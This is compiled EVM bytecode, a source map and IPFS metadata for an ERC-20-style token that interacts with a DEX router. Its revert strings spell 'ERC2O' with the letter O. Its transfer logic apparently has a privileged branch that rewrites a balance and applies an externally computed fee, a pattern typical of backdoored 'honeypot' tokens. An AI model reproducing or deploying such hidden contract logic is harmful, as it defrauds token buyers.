803e3d5ffd5b505050505050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a4390583306040518363ffffffff1660e01b815260040161103b929190611466565b602060405180830381865afa158015611056573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061107a919061143b565b9050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156110b857808201518184015260208101905061109d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6110dd82611081565b6110e7818561108b565b93506110f781856020860161109b565b611100816110c3565b840191505092915050565b5f6020820190508181035f83015261112381846110d3565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6111588261112f565b9050919050565b6111688161114e565b8114611172575f80fd5b50565b5f813590506111838161115f565b92915050565b5f819050919050565b61119b81611189565b81146111a5575f80fd5b50565b5f813590506111b681611192565b92915050565b5f80604083850312156111d2576111d161112b565b5b5f6111df85828601611175565b92505060206111f0858286016111a8565b9150509250929050565b5f8115159050919050565b61120e816111fa565b82525050565b5f6020820190506112275f830184611205565b92915050565b61123681611189565b82525050565b5f60208201905061124f5f83018461122d565b92915050565b5f805f6060848603121561126c5761126b61112b565b5b5f61127986828701611175565b935050602061128a86828701611175565b925050604061129b868287016111a8565b9150509250925092565b5f60ff82169050919050565b6112ba816112a5565b82525050565b5f6020820190506112d35f8301846112b1565b92915050565b5f602082840312156112ee576112ed61112b565b5b5f6112fb84828501611175565b91505092915050565b61130d8161114e565b82525050565b5f6020820190506113265f830184611304565b92915050565b5f80604083850312156113425761134161112b565b5b5f61134f85828601611175565b925050602061136085828601611175565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806113ae57607f821691505b6020821081036113c1576113c061136a565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113fe82611189565b915061140983611189565b9250828203905081811115611421576114206113c7565b5b92915050565b5f815190506114358161115f565b92915050565b5f602082840312156114505761144f61112b565b5b5f61145d84828501611427565b91505092915050565b5f6040820190506114795f830185611304565b6114866020830184611304565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6114e760248361108b565b91506114f28261148d565b604082019050919050565b5f6020820190508181035f830152611514816114db565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61157560228361108b565b91506115808261151b565b604082019050919050565b5f6020820190508181035f8301526115a281611569565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61160360298361108b565b915061160e826115a9565b604082019050919050565b5f6020820190508181035f830152611630816115f7565b9050919050565b7f455243324f3a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61169160238361108b565b915061169c82611637565b604082019050919050565b5f6020820190508181035f8301526116be81611685565b9050919050565b7f455243324f3a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61171f60258361108b565b915061172a826116c5565b604082019050919050565b5f6020820190508181035f83015261174c81611713565b9050919050565b5f61175d82611189565b915061176883611189565b92508282019050808211156117805761177f6113c7565b5b92915050565b5f61179082611189565b915061179b83611189565b92508282026117a981611189565b915082820484148315176117c0576117bf6113c7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6117fe82611189565b915061180983611189565b925082611819576118186117c7565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f6118aa6118a56118a08461187e565b611887565b611189565b9050919050565b6118ba81611890565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6118f28161114e565b82525050565b5f61190383836118e9565b60208301905092915050565b5f602082019050919050565b5f611925826118c0565b61192f81856118ca565b935061193a836118da565b805f5b8381101561196a57815161195188826118f8565b975061195c8361190f565b92505060018101905061193d565b5085935050505092915050565b5f61199161198c6119878461112f565b611887565b61112f565b9050919050565b5f6119a282611977565b9050919050565b5f6119b382611998565b9050919050565b6119c3816119a9565b82525050565b5f60a0820190506119dc5f83018861122d565b6119e960208301876118b1565b81810360408301526119fb818661191b565b9050611a0a60608301856119ba565b611a17608083018461122d565b969550505050505056fea26469706673582212200d7415c2109ee182884ea188f03328dbad73713e394620ade90df2a28c30562f64736f6c63430008170033

522:4148:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1910:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2486:150;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1507:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3403:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1606:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1697:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1815:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3664:156;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2644:172;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2001:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1910:83;1947:13;1980:5;1973:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1910:83;:::o;2486:150::-;2552:4;2569:37;2578:10;2590:7;2599:6;2569:8;:37::i;:::-;2624:4;2617:11;;2486:150;;;;:::o;1507:91::-;1551:7;1578:12;;1571:19;;1507:91;:::o;3403:253::-;3492:4;3509:36;3519:6;3527:9;3538:6;3509:9;:36::i;:::-;3556:70;3565:6;3573:10;3619:6;3585:11;:19;3597:6;3585:19;;;;;;;;;;;;;;;:31;3605:10;3585:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;3556:8;:70::i;:::-;3644:4;3637:11;;3403:253;;;;;:::o;1606:83::-;1647:5;1672:9;;;;;;;;;;;1665:16;;1606:83;:::o;1697:110::-;1754:7;1781:9;:18;1791:7;1781:18;;;;;;;;;;;;;;;;1774:25;;1697:110;;;:::o;1815:87::-;1854:13;1887:7;1880:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1815:87;:::o;3664:156::-;3733:4;3750:40;3760:10;3772:9;3783:6;3750:9;:40::i;:::-;3808:4;3801:11;;3664:156;;;;:::o;2644:172::-;2690:7;2735:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2717:52;;;2778:4;2785:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2717:91;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2710:98;;2644:172;:::o;2001:134::-;2073:7;2100:11;:18;2112:5;2100:18;;;;;;;;;;;;;;;:27;2119:7;2100:27;;;;;;;;;;;;;;;;2093:34;;2001:134;;;;:::o;2143:335::-;2253:1;2236:19;;:5;:19;;;2228:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2334:1;2315:21;;:7;:21;;;2307:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2416:6;2386:11;:18;2398:5;2386:18;;;;;;;;;;;;;;;:27;2405:7;2386:27;;;;;;;;;;;;;;;:36;;;;2454:7;2438:32;;2447:5;2438:32;;;2463:6;2438:32;;;;;;:::i;:::-;;;;;;;;2143:335;;;:::o;3828:839::-;3925:1;3916:6;:10;3908:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;4005:1;3991:16;;:2;:16;;;3983:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;4082:1;4066:18;;:4;:18;;;4058:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4147:10;;;;;;;;;;;4141:16;;:2;:16;;;:30;;;;;4167:4;4161:10;;:2;:10;;;4141:30;:52;;;;;4183:10;;;;;;;;;;;4175:18;;:4;:18;;;4141:52;4137:192;;;4246:9;:24;4264:4;4246:24;;;;;;;;;;;;;;;;4237:6;:33;;;;:::i;:::-;4210:9;:24;4228:4;4210:24;;;;;;;;;;;;;;;:60;;;;4285:24;4302:6;4285:16;:24::i;:::-;4311:7;;4137:192;4339:11;4377:10;;;;;;;;;;;4369:18;;:4;:18;;;;:43;;;;;4407:4;4391:21;;:4;:21;;;;4369:43;:70;;;;;4424:15;:13;:15::i;:::-;4416:23;;:4;:23;;;;4369:70;:90;;;;;4449:10;;;;;;;;;;;4443:16;;:2;:16;;;;4369:90;4365:171;;;4521:3;4512:6;4490:18;4503:4;4490:12;:18::i;:::-;4482:27;;:36;;;;:::i;:::-;:42;;;;:::i;:::-;4476:48;;4365:171;4572:3;4563:6;:12;;;;:::i;:::-;4546:9;:13;4556:2;4546:13;;;;;;;;;;;;;;;;:29;;;;;;;:::i;:::-;;;;;;;;4605:6;4586:9;:15;4596:4;4586:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;4642:2;4627:32;;4636:4;4627:32;;;4655:3;4646:6;:12;;;;:::i;:::-;4627:32;;;;;;:::i;:::-;;;;;;;;3897:770;3828:839;;;;:::o;2824:415::-;2885:28;2930:1;2916:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2885:47;;2968:4;2943:11;2955:1;2943:14;;;;;;;;:::i;:::-;;;;;;;:30;;;;;;;;;;;3004:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2986:11;2998:1;2986:14;;;;;;;;:::i;:::-;;;;;;;:40;;;;;;;;;;;3038:57;3055:4;3070:15;;;;;;;;;;;3088:6;3038:8;:57::i;:::-;3107:15;;;;;;;;;;;:66;;;3174:6;3182:1;3185:11;3198:10;;;;;;;;;;;3228:2;3210:15;:20;;;;:::i;:::-;3107:124;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2874:365;2824:415;:::o;3247:144::-;3304:7;3339:16;;;;;;;;;;;:24;;;3364:2;3376:4;3339:43;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3324:59;;3247:144;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:180::-;6580:77;6577:1;6570:88;6677:4;6674:1;6667:15;6701:4;6698:1;6691:15;6718:194;6758:4;6778:20;6796:1;6778:20;:::i;:::-;6773:25;;6812:20;6830:1;6812:20;:::i;:::-;6807:25;;6856:1;6853;6849:9;6841:17;;6880:1;6874:4;6871:11;6868:37;;;6885:18;;:::i;:::-;6868:37;6718:194;;;;:::o;6918:143::-;6975:5;7006:6;7000:13;6991:22;;7022:33;7049:5;7022:33;:::i;:::-;6918:143;;;;:::o;7067:351::-;7137:6;7186:2;7174:9;7165:7;7161:23;7157:32;7154:119;;;7192:79;;:::i;:::-;7154:119;7312:1;7337:64;7393:7;7384:6;7373:9;7369:22;7337:64;:::i;:::-;7327:74;;7283:128;7067:351;;;;:::o;7424:332::-;7545:4;7583:2;7572:9;7568:18;7560:26;;7596:71;7664:1;7653:9;7649:17;7640:6;7596:71;:::i;:::-;7677:72;7745:2;7734:9;7730:18;7721:6;7677:72;:::i;:::-;7424:332;;;;;:::o;7762:223::-;7902:34;7898:1;7890:6;7886:14;7879:58;7971:6;7966:2;7958:6;7954:15;7947:31;7762:223;:::o;7991:366::-;8133:3;8154:67;8218:2;8213:3;8154:67;:::i;:::-;8147:74;;8230:93;8319:3;8230:93;:::i;:::-;8348:2;8343:3;8339:12;8332:19;;7991:366;;;:::o;8363:419::-;8529:4;8567:2;8556:9;8552:18;8544:26;;8616:9;8610:4;8606:20;8602:1;8591:9;8587:17;8580:47;8644:131;8770:4;8644:131;:::i;:::-;8636:139;;8363:419;;;:::o;8788:221::-;8928:34;8924:1;8916:6;8912:14;8905:58;8997:4;8992:2;8984:6;8980:15;8973:29;8788:221;:::o;9015:366::-;9157:3;9178:67;9242:2;9237:3;9178:67;:::i;:::-;9171:74;;9254:93;9343:3;9254:93;:::i;:::-;9372:2;9367:3;9363:12;9356:19;;9015:366;;;:::o;9387:419::-;9553:4;9591:2;9580:9;9576:18;9568:26;;9640:9;9634:4;9630:20;9626:1;9615:9;9611:17;9604:47;9668:131;9794:4;9668:131;:::i;:::-;9660:139;;9387:419;;;:::o;9812:228::-;9952:34;9948:1;9940:6;9936:14;9929:58;10021:11;10016:2;10008:6;10004:15;9997:36;9812:228;:::o;10046:366::-;10188:3;10209:67;10273:2;10268:3;10209:67;:::i;:::-;10202:74;;10285:93;10374:3;10285:93;:::i;:::-;10403:2;10398:3;10394:12;10387:19;;10046:366;;;:::o;10418:419::-;10584:4;10622:2;10611:9;10607:18;10599:26;;10671:9;10665:4;10661:20;10657:1;10646:9;10642:17;10635:47;10699:131;10825:4;10699:131;:::i;:::-;10691:139;;10418:419;;;:::o;10843:222::-;10983:34;10979:1;10971:6;10967:14;10960:58;11052:5;11047:2;11039:6;11035:15;11028:30;10843:222;:::o;11071:366::-;11213:3;11234:67;11298:2;11293:3;11234:67;:::i;:::-;11227:74;;11310:93;11399:3;11310:93;:::i;:::-;11428:2;11423:3;11419:12;11412:19;;11071:366;;;:::o;11443:419::-;11609:4;11647:2;11636:9;11632:18;11624:26;;11696:9;11690:4;11686:20;11682:1;11671:9;11667:17;11660:47;11724:131;11850:4;11724:131;:::i;:::-;11716:139;;11443:419;;;:::o;11868:224::-;12008:34;12004:1;11996:6;11992:14;11985:58;12077:7;12072:2;12064:6;12060:15;12053:32;11868:224;:::o;12098:366::-;12240:3;12261:67;12325:2;12320:3;12261:67;:::i;:::-;12254:74;;12337:93;12426:3;12337:93;:::i;:::-;12455:2;12450:3;12446:12;12439:19;;12098:366;;;:::o;12470:419::-;12636:4;12674:2;12663:9;12659:18;12651:26;;12723:9;12717:4;12713:20;12709:1;12698:9;12694:17;12687:47;12751:131;12877:4;12751:131;:::i;:::-;12743:139;;12470:419;;;:::o;12895:191::-;12935:3;12954:20;12972:1;12954:20;:::i;:::-;12949:25;;12988:20;13006:1;12988:20;:::i;:::-;12983:25;;13031:1;13028;13024:9;13017:16;;13052:3;13049:1;13046:10;13043:36;;;13059:18;;:::i;:::-;13043:36;12895:191;;;;:::o;13092:410::-;13132:7;13155:20;13173:1;13155:20;:::i;:::-;13150:25;;13189:20;13207:1;13189:20;:::i;:::-;13184:25;;13244:1;13241;13237:9;13266:30;13284:11;13266:30;:::i;:::-;13255:41;;13445:1;13436:7;13432:15;13429:1;13426:22;13406:1;13399:9;13379:83;13356:139;;13475:18;;:::i;:::-;13356:139;13140:362;13092:410;;;;:::o;13508:180::-;13556:77;13553:1;13546:88;13653:4;13650:1;13643:15;13677:4;13674:1;13667:15;13694:185;13734:1;13751:20;13769:1;13751:20;:::i;:::-;13746:25;;13785:20;13803:1;13785:20;:::i;:::-;13780:25;;13824:1;13814:35;;13829:18;;:::i;:::-;13814:35;13871:1;13868;13864:9;13859:14;;13694:185;;;;:::o;13885:180::-;13933:77;13930:1;13923:88;14030:4;14027:1;14020:15;14054:4;14051:1;14044:15;14071:180;14119:77;14116:1;14109:88;14216:4;14213:1;14206:15;14240:4;14237:1;14230:15;14257:85;14302:7;14331:5;14320:16;;14257:85;;;:::o;14348:60::-;14376:3;14397:5;14390:12;;14348:60;;;:::o;14414:158::-;14472:9;14505:61;14523:42;14532:32;14558:5;14532:32;:::i;:::-;14523:42;:::i;:::-;14505:61;:::i;:::-;14492:74;;14414:158;;;:::o;14578:147::-;14673:45;14712:5;14673:45;:::i;:::-;14668:3;14661:58;14578:147;;:::o;14731:114::-;14798:6;14832:5;14826:12;14816:22;;14731:114;;;:::o;14851:184::-;14950:11;14984:6;14979:3;14972:19;15024:4;15019:3;15015:14;15000:29;;14851:184;;;;:::o;15041:132::-;15108:4;15131:3;15123:11;;15161:4;15156:3;15152:14;15144:22;;15041:132;;;:::o;15179:108::-;15256:24;15274:5;15256:24;:::i;:::-;15251:3;15244:37;15179:108;;:::o;15293:179::-;15362:10;15383:46;15425:3;15417:6;15383:46;:::i;:::-;15461:4;15456:3;15452:14;15438:28;;15293:179;;;;:::o;15478:113::-;15548:4;15580;15575:3;15571:14;15563:22;;15478:113;;;:::o;15627:732::-;15746:3;15775:54;15823:5;15775:54;:::i;:::-;15845:86;15924:6;15919:3;15845:86;:::i;:::-;15838:93;;15955:56;16005:5;15955:56;:::i;:::-;16034:7;16065:1;16050:284;16075:6;16072:1;16069:13;16050:284;;;16151:6;16145:13;16178:63;16237:3;16222:13;16178:63;:::i;:::-;16171:70;;16264:60;16317:6;16264:60;:::i;:::-;16254:70;;16110:224;16097:1;16094;16090:9;16085:14;;16050:284;;;16054:14;16350:3;16343:10;;15751:608;;;15627:732;;;;:::o;16365:142::-;16415:9;16448:53;16466:34;16475:24;16493:5;16475:24;:::i;:::-;16466:34;:::i;:::-;16448:53;:::i;:::-;16435:66;;16365:142;;;:::o;16513:126::-;16563:9;16596:37;16627:5;16596:37;:::i;:::-;16583:50;;16513:126;;;:::o;16645:134::-;16703:9;16736:37;16767:5;16736:37;:::i;:::-;16723:50;;16645:134;;;:::o;16785:147::-;16880:45;16919:5;16880:45;:::i;:::-;16875:3;16868:58;16785:147;;:::o;16938:847::-;17209:4;17247:3;17236:9;17232:19;17224:27;;17261:71;17329:1;17318:9;17314:17;17305:6;17261:71;:::i;:::-;17342:80;17418:2;17407:9;17403:18;17394:6;17342:80;:::i;:::-;17469:9;17463:4;17459:20;17454:2;17443:9;17439:18;17432:48;17497:108;17600:4;17591:6;17497:108;:::i;:::-;17489:116;;17615:80;17691:2;17680:9;17676:18;17667:6;17615:80;:::i;:::-;17705:73;17773:3;17762:9;17758:19;17749:6;17705:73;:::i;:::-;16938:847;;;;;;;;:::o

ipfs://0d7415c2109ee182884ea188f03328dbad73713e394620ade90df2a28c30562f